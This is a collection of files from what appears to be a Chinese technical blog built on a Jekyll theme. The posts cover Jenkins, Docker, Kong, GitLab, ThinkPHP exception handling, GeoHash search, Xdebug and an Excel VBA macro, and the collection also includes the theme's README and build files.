jenkins会自己生成一个 * Description 可以不填 最后点OK就可以了 ##### 新建节点 因为Jenkins运行在Docker里面,很多命令都无法执行,特别是Docker build命令,所以我们需要一台环境完整的机子来执行持续集成。 > **注意:** _这台机子需要安装JDK_ 在首页的左侧依次单击 系统管理 >> 管理节点 >> 新建节点 * 节点名称 填 localhost (你喜欢的任何名称) * 选择 Permanent Agent 点击 OK 进入节点配置 * 描述 可以不填 * of executors 配置该节点可以同时运行多少个任务 * 远程工作目录 配置jenkins在那台机子上使用的目录,我是填 /home/jenkins_home * 标签 用来给节点归类,jenkinsfile文件可以指定在哪个node执行[例如 node(docker),docker就是标签],如果有多个标签,用空格隔开就可以了。 * 用法 选择 尽可能的使用这个节点。因为我只有这一个节点。 * 启动方法 选择 Launch slave agents via SSH。Credentials选择刚才那一个。需要把SSH公钥安装到节点那台机子上。Host Key Verification Strategy 选择 Manually trusted key Verification Strategy (自动信任) * Availability 选择 Keep this agent online as much as possible #### 3、添加持续集成项目 在Jenkins首页选择 _新建_ >> _Mutibranch Pipeline_ 填个名字,点击OK开始配置 主要填以下GIT仓库的位置,保证可以访问就可以了,在 _Build Configuration_ 选择 by Jenkinsfile, _Script Path_ (我是填 jenkins/Jenkinsfile)是相对于项目的根目录的。 ##### 项目配置说明 以下是我的项目的目录结构 ```bash [root@bogon simple-service-webapp]# ls jenkins pom.xml src target [root@bogon simple-service-webapp]# tree jenkins/ jenkins/ ├── build.sh ├── docker-build.sh ├── Dockerfile ├── Jenkinsfile └── simple-service-webapp.war 0 directories, 5 files [root@bogon simple-service-webapp]# cat jenkins/Jenkinsfile node('docker') { stage('Build') { def commitHash = checkout(scm).GIT_COMMIT sh 'sh ./jenkins/build.sh' } stage('Docker Build'){ sh 'sh ./jenkins/docker-build.sh' } } ``` 我自己编写了编译命令 build.sh 跟打包上传docker的命令 docker-build.sh,然后通过配置Jenkinsfile来执行这些命令。 需要注意的是,开始执行之前要执行 checkout scm,不然Jenkins是找不到我在项目中包含的这些命令的。 > 剩下的就自己研究了。 <file_sep>--- layout: post title: docker容器因文件损坏无法删除的处理办法 categories: Operation description: docker容器因文件损坏无法删除的处理办法 keywords: linux,docker --- 容器文件损坏,经常导致容器无法操作。正常的docker命令已经无法操控这台容器了,无法关闭、重启、删除。 如果操作容器时,遇到类似的错误 b'devicemapper: Error running deviceCreate (CreateSnapDeviceRaw) dm_task_run failed' 可以通过以下操作将容器删除,重建 ### 1、关闭docker ```sh service docker stop ``` ### 2、删除容器文件 在/var/lib/docker/containers里找到你的容器,把整个文件夹删了 ### 3、重新整理容器元数据 ```sh thin_check /var/lib/docker/devicemapper/devicemapper/metadata thin_check --clear-needs-check-flag /var/lib/docker/devicemapper/devicemapper/metadata ``` ### 4、重启docker ```sh service docker start ```<file_sep>--- layout: post title: 自定义thinkphp5.1异常 categories: Develop description: 本文通过建立自定义的Exception跟Handle,从而达到自定义错误返回的效果,及拦截系统运行过程中的随机异常。 keywords: thinkphp5.1, php, exception --- 本文通过建立自定义的Exception跟Handle,从而达到自定义错误返回的效果,及拦截系统运行过程中的随机异常。 整体设计思路请参见[RESTFUL错误返回设计]({% post_url 2019-11-13-RESTFUL异常返回定义 %}) # 新建异常处理目录 在 application->common 新建目录 exception。 # 定义Base Exception Class 在exception目录下,新建PHP类 BaseException.php ```php <?php namespace app\common\exception; use think\Exception; class BaseException extends Exception { public $httpCode; public $errorCode; public $errorMessage; public $errorDetail; public function __construct($httpCode, $errorCode, $errorMessage, $errorDetail) { $this->httpCode = $httpCode; $this->errorCode = $errorCode; $this->errorMessage = $errorMessage; $this->errorDetail = $errorDetail; } } ``` # 定义 Custom Exception Class 继承 BaseException 这里用UserException作为示例。为什么要取名UserException,是为了将不同的异常拆分到不同的类文件中,这样使用的时候比较方便,不会所有异常都塞在同个文件中。 在exception目录下,新建PHP类 UserException.php ```php <?php namespace app\common\exception; class UserExcepiton extends BaseException { /** * UserExcepiton constructor. * @param $httpCode * @param $errorCode * @param $errorMessage * @param $errorDetail */ public function __construct($httpCode, $errorCode, $errorMessage, $errorDetail) { parent::__construct($httpCode, $errorCode, $errorMessage, $errorDetail); } // 微信授权登录失败 /** * @param $wxErrcode * @param $wxErrmsg * @throws UserExcepiton */ public static function wexinAuthFail($wxErrcode, $wxErrmsg) { throw new UserExcepiton('400', 'User.01', '微信授权失败。', '微信错误代码:' . $wxErrcode . '微信错误信息:' . $wxErrmsg); } /** * @param $accessToken * @throws UserExcepiton */ public static function notLogin($accessToken){ throw new UserExcepiton('400', 'User.02','用户未登录。', 'access_token:'.$accessToken); } } ``` 这里定义了两个方法,下面我们会讲到怎么抛出这两个异常,并被处理成错误返回。 # 定义Handle类 这个是很关键,它通过继承thinkphp提供的Exception/Handle,从而在response前拦截到所有异常并做进一步的处理。 在exception目录下,新建PHP类 CustomHandle.php ```php <?php namespace app\common\exception; use Exception; use think\exception\Handle; class CustomHandle extends Handle { private $httpCode; private $errorCode; private $errorMessage; private $errorDetail; public function render(Exception $e) { if ($e instanceof BaseException) { $this->errorCode = $e->errorCode; $this->errorMessage = $e->errorMessage; $this->httpCode = $e->httpCode; $this->errorDetail = $e->errorDetail; } else { if (config('app_debug')) { return parent::render($e); } $this->httpCode = 500; $this->errorCode = "000000"; $this->errorMessage = "服务器未知错误"; $this->errorDetail = $e->getMessage(); } $path = "http://" . request()->host() . ":" . request()->port() . request()->baseUrl(); $content = request()->getContent(); $queryString = request()->query(); $result = [ 'path' => $path, 'error_code' => $this->errorCode, 'error_message' => $this->errorMessage, 'error_detail' => $this->errorDetail, 'query_string' => $queryString, 'content' => $content ]; return json($result, $this->httpCode); } } ``` 说明: 1、这里通过 ``` if ($e instanceof BaseException) ``` 判断是否是我们自定义的异常,如果不是。那是系统抛出,说明我们遇到了未知错误(BUG)。 2、如果遇到了未知错误,还要继续 ``` if (config('app_debug')) ``` 判断当前是否处于调试模式,如果是就不处理,返回thinkphp的调试信息,如果不是就处理成统一的错误返回。 3、这部分程序还没有最终完成,按照设计要求,当遇到未知异常时,应该返回动态错误代码并记录系统日志,这里并没有,而是简单的返回000000。这样并不利于后期追溯问题。 # 最终的目录结构 ![thinkphp异常目录结构](/images/thinkphp异常目录结构.jpg) # 抛出自定义异常 定义完上面这三个类后,我们就可以在程序中任意位置抛出这些异常,无论是db层,service层,还是controller层,都会得到响应,并且终止当前程序,向客户端返回错误信息。 下面示例是请求一个数据上传接口,在access token检验不通过时,返回用户未登录的错误信息。注意,这里的错误返回是service层check_login抛出的,而不是controller层。这也是采用异常处理机制最大的好处,就是你可以在任何地方终止掉程序。 ```php -- Controller /** * @route('/drug-used-plan/upload') */ public function upload() { $accessToken = explode(' ', $this->request->header('Authorization'))[1]; $loginStatus = $this->userService->check_login($accessToken); $userId = $loginStatus->user_id; $drug_plan = $this->request->post('drug_plan'); $this->drugUsedPlanService->uploadPlan($userId, $drug_plan); return json(CustomResponse::commonResponse()); } -- Service public function check_login($accessToken) { $loginStatus = $this->getLoginStatusFromCache($accessToken); if ($loginStatus) { return $loginStatus; } else { // 抛出异常 throw UserExcepiton::notLogin($accessToken); } } ``` <file_sep>--- layout: post title: 修改Docker的时区为本地时间 categories: Develop description: 修改Docker的时区为本地时间 keywords: Linux, Docker --- 容器的时间跟主机的时间的保持一致的,不过它的时区是用UTC,并不是本地的时区。 有三种方式可以修改容器的时区: #### 1、读取本地的时区配置文件 ##### *命令行* ```bash $ docker run -v /etc/localtime:/etc/localtime:ro ``` ##### *docker compose* ```text volumes: - /etc/localtime:/etc/localtime:ro ``` #### 2、设置环境变量 ##### *命令行* ```bash $ docker run -env TZ=Asia/Shanghai ``` ##### *docker compose* ```text environment: - TZ=Asia/Shanghai ``` #### 3、合并1跟2的配置 之前遇到tomcat容器,容器时区已经改变了,java应用的时区还不变。所以一般两种方式一起做。 ##### *命令行* ```bash $ docker run -v /etc/localtime:/etc/localtime:ro --env TZ=Asia/Shanghai ``` ##### *docker compose* ```text volumes: - /etc/localtime:/etc/localtime:ro environment: - TZ=Asia/Shanghai ```<file_sep>--- layout: post title: thinkphp5.1使用memcahced categories: Develop description: thinkphp5.1使用memcahced keywords: thinkphp, php, memcahed, cache --- 如何在thinkphp5.1中使用缓存可以参考[官方文档](https://www.kancloud.cn/manual/thinkphp5_1/354116) /config/cache.php ```php return [ // 驱动方式 'type' => 'memcached', // 缓存保存目录 'path' => '', // 缓存前缀 'prefix' => '', // 缓存有效期 0表示永久缓存 'expire' => 0, 'host' => '192.168.204.128', 'port' => '11211' ]; ``` 看到没有? ```'type' => 'memcached'```,虽然官方文档写的是```内置支持的缓存类型包括file、memcache、wincache、sqlite、redis和xcache。```,不过memcached也是支持的,敢敢的写上去。<file_sep><div align="center"> # jekyll-theme-H2O-ac [![Gem Version](https://badge.fury.io/rb/jekyll-theme-h2o-ac.svg)](https://badge.fury.io/rb/jekyll-theme-h2o-ac) [![pages-build-deployment](https://github.com/zhonger/jekyll-theme-H2O-ac/actions/workflows/pages/pages-build-deployment/badge.svg?branch=gh-pages)](https://github.com/zhonger/jekyll-theme-H2O-ac/actions/workflows/pages/pages-build-deployment) [![Codacy Badge](https://app.codacy.com/project/badge/Grade/60e1e5fb75b8411da3df2fbed7243aa6)](https://www.codacy.com/gh/zhonger/jekyll-theme-H2O-ac/dashboard?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=zhonger/jekyll-theme-H2O-ac&amp;utm_campaign=Badge_Grade) [![GitHub license](https://img.shields.io/github/license/zhonger/jekyll-theme-H2O-ac)](https://github.com/zhonger/jekyll-theme-H2O-ac/blob/master/LICENSE) ![Jekyll Version](https://img.shields.io/badge/Jekyll-4.2.1-blue) ![Ruby Version](https://img.shields.io/badge/Ruby-3.1.0-blue) [![FOSSA Status](https://app.fossa.com/api/projects/git%2Bgithub.com%2Fzhonger%2Fjekyll-theme-H2O-ac.svg?type=shield)](https://app.fossa.com/projects/git%2Bgithub.com%2Fzhonger%2Fjekyll-theme-H2O-ac?ref=badge_shield) 基于 Jekyll 和 [H2O](https://github.com/kaeyleo/jekyll-theme-H2O) 主题、适合学术研究人员和运维开发人员的博客主题模板。 A Jekyll theme for researchers and maintainers based on Jekyll and [H2O](https://github.com/kaeyleo/jekyll-theme-H2O) theme. </div> ### Preview #### [在线预览 Live Demo →](https://h2o-ac.pages.dev/) ![vgy.me](https://i.vgy.me/pICzcE.png) ![vgy.me](https://i.vgy.me/0kmQ1j.png) 如果你喜欢这个博客模板,请在右上角star一下,非常感谢~ If you like this theme or using it, please give a ⭐️ for motivation ;) 如果想体验手机浏览效果,可以扫一下二维码: ![vgy.me](https://i.vgy.me/XGUDp6.png) Using your smartphone to scan the QR Code ### New Features compared with H2O, 与 H2O 不同的新特性 #### CN - 学术首页 - 归档页 - 系统日志页 - 社交图标扩展 - 查看大图 - 代码高亮优化 - 字数统计及阅读时间估计 - 配置项 - 前端自动构建工作流优化 - 文章页侧边导航 - Waline 评论系统 - 深色模式切换按钮 - 时间本地化 - PWA - 提示框支持 - 文章置顶 - 版权显式声明 #### EN - Academic Home Page - Archive Page - System Logs Page - An extened SNS icon set - Enlarge any pictures in articles - Optimize the code highlighting - Words Counts and evaluate needed time - New Settings - Optimize the automatic workflow for static files - The TOC for posts - Waline comments - Dark mode switch button - Time localization - PWA - Premonition - Top article pin - Copyright statement for articles ### Usage 快速开始 请访问 [H2O-ac theme for Jekyll](https://lisz.me/tech/webmaster/new-theme-h2o-ac.html) 查看详情。 Please refer to [H2O-ac theme for Jekyll](https://lisz.me/tech/webmaster/new-theme-h2o-ac.html) for details. ### Contribution 贡献 Any types of contribution are welcome. Thanks. 接受各种形式的贡献,包括不限于提交问题与需求,修复代码。等待您的 ```Pull Request```。 ### Thanks 感谢参与 H2O 代码贡献的伙伴 - [kaeyleo](https://github.com/kaeyleo/) - [Ray-Eldath](https://github.com/Ray-Eldath) - [sctop](https://github.com/sctop) - [bananaappletw](https://github.com/bananaappletw) - [moycat](https://github.com/moycat) - More ### Contributors 贡献者 ![Contributors](https://contrib.rocks/image?repo=zhonger/jekyll-theme-H2O-ac) ### License 许可证 Jekyll-Theme-H2O-ac is licensed under [MIT](https://github.com/zhonger/jekyll-theme-H2O-ac/blob/master/LICENSE). [![FOSSA Status](https://app.fossa.com/api/projects/git%2Bgithub.com%2Fzhonger%2Fjekyll-theme-H2O-ac.svg?type=large)](https://app.fossa.com/projects/git%2Bgithub.com%2Fzhonger%2Fjekyll-theme-H2O-ac?ref=badge_large) ![Alt](https://repobeats.axiom.co/api/embed/c3257de0cec8e91520debc3232103da52e4727b4.svg "Repobeats analytics image") <file_sep>var gulp = require('gulp'), concat = require('gulp-concat'), //合并css文件 uglify = require('gulp-uglify'), // 压缩js文件 sass = require('gulp-sass')(require('sass')), // 编译sass cleanCSS = require('gulp-clean-css'), // 压缩css文件 rename = require('gulp-rename'); // 文件重命名 gulp.task('scripts', (cb) => { gulp.src('dev/js/index.js') .pipe(uglify()) .pipe(rename({suffix: '.min'})) .pipe(gulp.dest('assets/js')); cb(); }); gulp.task('sass', (cb) => { gulp.src('dev/sass/app.scss') .pipe(sass()) .pipe(gulp.dest('dev/sass')) .pipe(cleanCSS()) .pipe(rename({suffix: '.min'})) .pipe(gulp.dest('assets/css')); cb(); }); gulp.task('css', (cb) => { gulp.src(['dev/sass/github-markdown.css', 'dev/sass/share.min.css']) .pipe(concat('plugins.min.css')) .pipe(cleanCSS()) .pipe(gulp.dest('assets/css')); cb(); }); gulp.task('cv', (cb) => { gulp.src('dev/sass/cv.scss') .pipe(sass()) .pipe(gulp.dest('dev/sass')) .pipe(cleanCSS()) .pipe(rename({suffix: '.min'})) .pipe(gulp.dest('assets/css')); cb(); }); gulp.task('watch', function(done) { gulp.watch('dev/sass/*.scss', gulp.series('sass')); gulp.watch(['dev/sass/github-markdown.css', 'dev/sass/share.min.css'], gulp.series("css")); gulp.watch('dev/sass/cv.scss', gulp.series('cv')); gulp.watch('dev/js/*.js', gulp.series("scripts")); done(); }); gulp.task('default', gulp.series('scripts', 'sass', 'css', 'cv', 'watch'));<file_sep>--- layout: post title: win10大量程序无法执行 categories: 日常操作 description: win10大量程序无法打开 keywords: windows --- 今天不知道怎么了,大量的exe程序无法执行,提示找不到文件。其中就包括了pdf阅读器,找了好久,终于在adobe的论坛找到答案。 原文地址 : https://forums.adobe.com/thread/2262502 ```text 1- Close Reader 2- Hold down Windows key and press R on your keyboard, this will bring up Run dialogue box. 3- Type regedit in the run dialogue box and hit Enter, click Yes when User Account Control pop-up appears. 4- Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options, delete the key AcroRd32.exe 5- Relaunch Reader ``` 原文的意思是打开注册表,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options这个节点,然后节点下的AcroRd32.exe节点删除就可以了。 依样画葫芦,不止adobe reader,我电脑上的photoshop,好压,vmware都没法启动,只要把对应的节点删除就可以了。<file_sep>--- layout: post title: 使用GeoHash查找附近的药店 categories: Develop description: 为每一个地点生成GeoHash,通过比对GeoHash的值来搜索附近的建筑物 keywords: 微信小程序, http, fly, flyio, mpvue --- # 如何查找附近的药店 查找附近的药店应该是一个最基本的基于地理位置的应用,但要怎么做呢? 1、通过计算药店与我之间的距离,来确定是否它是否在附近。 2、通过对比药店跟我两个位置的GeoHash值来确定我们是否处于同个区域。 本文说明的是第二种方式,因为它更靠谱一点。 # GeoHash介绍 这里推一篇维基百科供参考[GeoHash](https://en.wikipedia.org/wiki/Geohash) 还有知乎的一篇文章[GeoHash](https://zhuanlan.zhihu.com/p/35940647) GeoHash应该是一种位置压缩算法,用来把二维的位置信息变成一维的信息。我们表达一个位置需要两个值——经度、维度。这两个值可以通过GeoHash算法压缩成一个字符串。大家可以在这个网站体验一下[geohash.co](http://geohash.co/) # GeoHash的特点 两个GeoHash相同说明他们是同个区域。随着GeoHash变长,它所表示的区域也就越小。 网上可以找到GeoHash长度跟误差(区域大小)的对照表,比如5位的GeoHash大概表达的是5平方公里这样的面积。 |geohash length |lat bits |lng bits |lat error |lng error |km error| |---------------|-----------|-----------|-----------|-----------|--------| |1|2|3|±23|±23|±2500| |2|5|5|±2.8|±5.6|±630| |3|7|8|±0.70|±0.70|±78| |4|10|10|±0.087|±0.18|±20| |5|12|13|±0.022|±0.022|±2.4| |6|15|15|±0.0027|±0.0055|±0.61| |7|17|18|±0.00068|±0.00068|±0.076| |8|20|20|±0.000085|±0.00017|±0.019| # 使用GeoHash实现查找附近的药店 ## 计算出所有药店的GeoHash 给所有位置都计算出GeoHash,当然长度尽可能的长,这样后期使用的时候,可以灵活调整精度。示例: |latitude|longitude|geohash | |---|---|---| |30.789748|121.339645|wtqr1jhg| |30.257383|120.177994|wtmknsny| |30.236452|120.044845|wtmk58mu| |30.236452|120.044845|wtmk58mu| |34.71191|113.65735|ww0v6r4g | Geohash的代码实现可以google到,也可以参考我的另外一篇文章[使用kettle生成GeoHash]({% post_url 2019-11-15-使用kettle生成GeoHash %})。 ## 计算当前位置的以及周边的8个GeoHash 因为GeoHash表达的是一个正方形的区域,你当前位置不一定就是该区域的中心,所以四周的8个区域也是你搜索的目标。 这里推荐一个php的实现[https://github.com/chency147/geohash](https://github.com/chency147/geohash) |||| |---:|:---:|:---| |NorthWest|North|NorthEast| |West|<span style="color:green">Me</span>|East| |SouthWest|South|SouthEast| {:.t1} |||| |---:|:---:|:---| |ws4uztw22x|ws4uztw22z|ws4uztw23p| |ws4uztw22w|<span style="color:green">ws4uztw22y</span>|ws4uztw23n| |ws4uztw22t|ws4uztw22v|ws4uztw23j| {:.t1} <style> .t1{ width:auto; border: none; } .t1 td{ border: none; padding:10px; } .t1 th{ border:none; } </style> ## 与数据库中的GeoHash对比 以下代码示例使用thinkphp5.1 mysql写的。通过查找前N位一样的值来实现查找附近的药店。 ```php function filterGeohash($geohash, $geohashNeighbors, $topN) { $list = DrugStoreModel::where( 'LEFT(geohash, :topN) = LEFT(:geohash, :topN) or LEFT(geohash, :topN) = LEFT(:North, :topN) or LEFT(geohash, :topN) = LEFT(:NE, :topN) or LEFT(geohash, :topN) = LEFT(:East, :topN) or LEFT(geohash, :topN) = LEFT(:SE, :topN) or LEFT(geohash, :topN) = LEFT(:South, :topN) or LEFT(geohash, :topN) = LEFT(:SW, :topN) or LEFT(geohash, :topN) = LEFT(:West, :topN) or LEFT(geohash, :topN) = LEFT(:NW, :topN)', [ 'topN' => $topN, 'geohash' => $geohash, 'North' => $geohashNeighbors['North'], 'NE' => $geohashNeighbors['NorthEast'], 'East' => $geohashNeighbors['East'], 'SE' => $geohashNeighbors['SouthEast'], 'South' => $geohashNeighbors['South'], 'SW' => $geohashNeighbors['SouthWest'], 'West' => $geohashNeighbors['West'], 'NW' => $geohashNeighbors['NorthWest'] ]) ->hidden(['id', 'search_content'])->select(); return $list; } ```<file_sep>--- layout: post title: 安装docker kong categories: Operation description: docker安装及常用脚本 keywords: Linux, docker --- kong 是一个开源的API管理工具。官网提供了docker的安装方式,不过不够简单。这里我提供一份docker compose文件,并简要说明安装的过程。 #### docker compose 文件 ```yaml version: '2.0' services: kong-database: image: postgres:9.4 volumes: - /etc/localtime:/etc/localtime:ro - ./pgdata:/var/lib/postgresql/data environment: - TZ=Asia/Shanghai - POSTGRES_USER=kong - POSTGRES_DB=kong ports: - "5432:5432" container_name: kong-database kong: image: kong:latest volumes: - /etc/localtime:/etc/localtime:ro environment: - TZ=Asia/Shanghai - KONG_DATABASE=postgres - KONG_PG_HOST=kong-database - ONG_CASSANDRA_CONTACT_POINTS=kong-database - KONG_PROXY_ACCESS_LOG=/dev/stdout - KONG_ADMIN_ACCESS_LOG=/dev/stdout - KONG_PROXY_ERROR_LOG=/dev/stderr - KONG_ADMIN_ERROR_LOG=/dev/stderr ports: - "8000:8000" - "8443:8443" - "8001:8001" - "8444:8444" links: - "kong-database: kong-database" container_name: kong kong-dashboard: image: pgbi/kong-dashboard volumes: - /etc/localtime:/etc/localtime:ro environment: - TZ=Asia/Shanghai ports: - "8080:8080" links: - "kong:kong" command: start --kong-url http://kong:8001 --basic-auth admin=admin container_name: kong-dashboard ``` 文件的具体内容还是得读者自己阅读了。这里简要说明一下,这里一共启用了三个容器,一个数据库Postgres, 一个Kong服务,一个UI项目。UI项目基于Kong接口做的,与数据库无关。 #### 初始化数据库 根据官方文档的要求,第一次使用需要初始化Postgres数据库。 ```sh #启动Postgres数据库 $ docker-compose up -d kong-database #运行初始化脚本 $ docker run --rm \ --link kong-database:kong-database \ -e "KONG_DATABASE=postgres" \ -e "KONG_PG_HOST=kong-database" \ -e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \ --net kongcompose_default \ kong:latest kong migrations up ``` 需要注意的是,这里有一个 --net 的参数,需要指明一个docker网络。因为数据库的初始化需要跟Postgres在同个docker网络中。可以通过执行```$ docker network ls ```查看所有的docker网络。 #### 启动Kong ```sh $ docker-compose up -d kong ``` 测试服务是否可用 ```sh $ curl localhost:8001 ``` #### 启动kong dashboard ```sh $ docker-compose up -d kong-dashboard ``` 这里需要注意的是,如果kong服务还没起来,8001无法访问,那么kong dashboard会启动失败,容器自动退出。 dashboard的访问地址 http://localhost:8080 账户名 admin 密码 <PASSWORD><file_sep>--- layout: post title: mpvue引入第三方UI库报错 categories: Develop description: mpvue引入第三方UI库报错 keywords: mpvue, 微信小程序 --- mpvue引入第三方库很容易,只需要在src目录下建个文件夹,然后在需要用到页面的main.js里面import进来就好了。 需要注意目录路径,防止找不到文件。 ```js import './lib/css/weui.min.css' ``` 完整的引入weiui.min.css会报错,因为里面用到了CSS选择器"~",这个是微信小程序不支持。只要把对应的css样式删除就好了。<file_sep>--- layout: post title: Excel 批量生成折线图 categories: Operation description: Excel 批量生成折线图 keywords: Office, Excel, VBA --- 以下代码可以用来在Excel里批量生成折线图 ```vb Function getcolname(ByVal intcol As Long) intcol = intcol - 1 getcolname = IIf(intcol \ 26, Chr(64 + intcol \ 26), "") & Chr(65 + intcol Mod 26) End Function Sub 批量生成图表() ' ' 批量生成折线图 ' by 余灿琳 sheetName = "Sheet1" x = 0 y = 0 '表格宽度 chartWidth = 400 '表格高度 chartHeight = 200 Sheets.Add After:=Sheets(Sheets.Count) 'ActiveSheet.Name = "Bug图表" '获取sheet1中总的列数 intcol = Sheets(sheetName).Range("IV1").End(xlToLeft).Column strCol = getcolname(intcol) '生成图表 For i = 2 To 6 ActiveSheet.Shapes.AddChart.Select ActiveChart.ChartType = xlLineMarkers '数据范围 Ei:Hi ActiveChart.SetSourceData Source:=Sheets("Sheet1").Range("E" & i & ":H" & i) 'xvalue $E$i:$H$i ActiveChart.SeriesCollection(1).XValues = "=Sheet1!$E$1:$H$1" '表格标题 Sheet1!$C$i ActiveChart.SeriesCollection(1).Name = "=" & sheetName & "!$C$" & i '设置x轴的类型为文本坐标轴,而不是时间坐标轴 ActiveChart.Axes(xlCategory).Select ActiveChart.Axes(xlCategory).CategoryType = xlCategoryScale Next i '调整每个图表的位置 For Each Chart In ActiveSheet.ChartObjects Chart.Activate ActiveChart.ChartArea.Select Chart.Top = y * (chartHeight + 6) Chart.Left = x * (chartWidth + 6) Chart.Height = chartHeight Chart.Width = chartWidth x = x + 1 If x >= 1 Then x = 0 y = y + 1 End If Next Chart End Sub ```<file_sep>--- layout: post title: phpstorm xdebug 调试 categories: Develop description: phpstorm xdebug 调试 keywords: phpstorm, xdebug --- # 1、安装LAMP 首先需要安装php(含xdebug模块), apache(nginx)。这部分按官网说明安装就可以。 php安装 xdebug安装 <https://xdebug.org/docs/install> 可以使用pecl的方式安装,比较简单。 ## 调整xdebug的部分参数 打开php.ini文件,增加下面两个配置 ``` text xdebug.idekey=PHPSTORM xdebug.remote_enable=ON ``` ## 检查是否正常安装 打开页面phpinfo.php ``` php <?php phpinfo(); ?> ``` ![phpinfo-xdebug](/images/phpinfo-xdebug.jpg) # 配置PhpStorm ## 配置settings 打开 File -\> Settings -\> PHP ![phpstorm-php](/images/phpstorm-php.jpg) 打开 File -\> Settings -\> PHP -\> Debug 确认debug port跟phpinfo -\> xdebug.remote\_port 一致 ![phpstorm-settings-php-debug](/images/phpstorm-settings-php-debug.jpg) 打开 File -\> Settings -\> PHP -\> Debug -\> DBGp Proxy 填入Apache站点的信息 ![phpstorm-settings-php-dbgp-proxy](/images/phpstorm-settings-php-dbgp-proxy.jpg) ## 配置 Debug Configurations 打开 Run -\> Edit Configurations 添加 PHP WEB Page ![phpstorm-php-debug-configurations](/images/phpstorm-php-debug-configurations.jpg) ## 开始调试 ![phpstorm-php-xdebug-start](/images/phpstorm-php-xdebug-start.jpg) 此时phpstrom会打开浏览器,类似这样的网址 <http://192.168.233.129/tp5/public/?XDEBUG_SESSION_START=18718> 请留意这段尾巴 XDEBUG\_SESSION\_START=18718 ,你可以改成 XDEBUG\_SESSION\_START=PHPSTORM, 效果是一样,其中PHPSTORM就是那个idekey。 只需要在访问页面的时候加上XDEBUG\_SESSION\_START=PHPSTORM,phpstorm的断点就会生效了。 可能你也注意到了,你的软件要放在apache下面,首要条件是他得能通过浏览器访问。 <file_sep>source "https://rubygems.org" gem "jekyll" gem "jekyll-paginate-v2" gem "jekyll-feed" gem "jekyll-sitemap" gem "webrick" gem "premonition" gem "h2o-ac-jekyll-extlinks" gem "nokogiri"<file_sep>--- layout: post title: 安装docker gitlab categories: Operation description: 安装docker gitlab keywords: Linux, gitlab --- gitlab安装之前是挺麻烦,数据库,缓存,文件系统一个不能少,不过官方最近推出了docker镜像。 生活又变得美好起来了。 #### docker-compose 配置 ```yaml version: '2' services: gitlab: image: 'gitlab/gitlab-ce:latest' restart: always hostname: 'gitlab.example.com' environment: - TZ=Asia/Shanghai environment: GITLAB_OMNIBUS_CONFIG: | external_url 'http://192.168.1.134' # Add any other gitlab.rb configuration here, each on its own line gitlab_rails['gitlab_shell_ssh_port'] = 2224 gitlab_rails['time_zone'] = 'Asia/Shanghai' ports: - '80:80' - '443:443' - '2224:22' volumes: - './gitlab/config:/etc/gitlab' - './gitlab/logs:/var/log/gitlab' - './gitlab/data:/var/opt/gitlab' - /etc/localtime:/etc/localtime:ro container_name: gitlab ``` external_url 填写你本机的ip地址。 大功告成,执行 docker-compose up -d 就可以了。 #### 更新gitlab ```bash $ docker-compose stop $ docker-compose rm $ docker-compose up -d ``` docker 会自动拉取最新的latest镜像运行<file_sep>--- layout: post title: 制作php-fpm-xdebug docker镜像 categories: Develop Operation description: 制作php-fpm-xdebug docker镜像 keywords: php, fpm, xdebug, docker --- 如果你还不理解docker跟docker镜像制作,请自行google学习。 # Dockerfile 给php-fpm镜像安装php扩展可以参考[How to install more PHP extensions](https://hub.docker.com/_/php/) 由于内地的网络通讯问题,这里提供第二种方式,先下载[安装文件](https://pecl.php.net/package/Xdebug),放在Dockerfile的同级目录下,然后再执行安装。 温馨提示:因为新版xdebug已经不支持php5,如果你用的是php5,请选择xdebug-2.5.5。 ```text FROM php:5-fpm # 安装mysql扩展 RUN docker-php-ext-install mysql # 安装并启用xdebug # 方法一,使用pecl直接安装 #RUN pecl install xdebug-2.5.5 #RUN docker-php-ext-enable xdebug # 方法二,下载文件安装 RUN mkdir /home/software COPY xdebug-2.5.5.tgz /home/software/ RUN pecl install /home/software/xdebug-2.5.5.tgz RUN docker-php-ext-enable xdebug ``` # 生成镜像 ```sh docker build -t php5-fpm-xdebug . ``` # docker-compose.yml 温馨提示: 1、不要把/usr/local/etc/php/conf.d/这个目录映射出来,因为你使用docker-php-ext-install的时候,会往里面写配置文件。你只需要把你自定义的ini文件映射到容器里面就好了。 2、这里没有把php-fpm默认的9000端口映射到host机,因为没有必要,容器间通讯,我们可以使用php-fpm:9000。在下面的nginx站点配置,你会看到我们就是怎么写的。而且9000我们用作了xdebug的remote_port,所以调试的时候,9000就是phpstrom的监听端口。为了避免冲突,我们不把9000端口映射host机。 ```yml version: '3' services: php-fpm: image: php5-fpm-xdebug volumes: - /etc/localtime:/etc/localtime:ro - ./html:/usr/share/nginx/html:rw - ./php/php.ini:/usr/local/etc/php/php.ini - ./php/conf.d/docker-php-ext-xdebug.ini:/usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini container_name: "php-fpm" nginx: image: nginx:1.15 ports: - "85:85" depends_on: - "php-fpm" volumes: - ./nginx/conf.d:/etc/nginx/conf.d:rw - ./html:/usr/share/nginx/html:rw container_name: "nginx" ``` ## docker-php-ext-xdebug.ini ```ini zend_extension=xdebug.so xdebug.remote_enable=on xdebug.remote_host=192.168.204.129 xdebug.remote_port=9000 xdebug.idekey=PHPSTORM ``` 有不少同学不理解xdebug.remote是什么意思,它是xdebug提供的一种远程调试模式,也就是服务器跟你调试的代码不在一个地方。idekey就是一个标志,当你在querystring中加入?XDEBUG_SESSION_START=PHPSTORM,xdebug就会往remote_host:remote_port发送调试信息。一般来说,我们会在phpstorm配置监听,接收来自xdebug的信息,这样就可以实现服务器联调了。我会在这篇章做详细说明。 ## default.conf 这是nginx的配置文件,放在./nginx/conf.d/下面。 温馨提示: 1、 root /usr/share/nginx/html/pingjia; 跟 fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/pingjia$fastcgi_script_name; 要写一样的路径。 2、 docker-compose.yml 文件中两个serice的 /usr/share/nginx/html 都映射到了 ./html。 ```conf server { listen 85; server_name 192.168.204.129:85; location / { root /usr/share/nginx/html/pingjia; index index.html index.htm index.php; } # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 # location ~ \.php$ { root html; fastcgi_pass <PASSWORD>; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/pingjia$fastcgi_script_name; include fastcgi_params; } } ``` ## 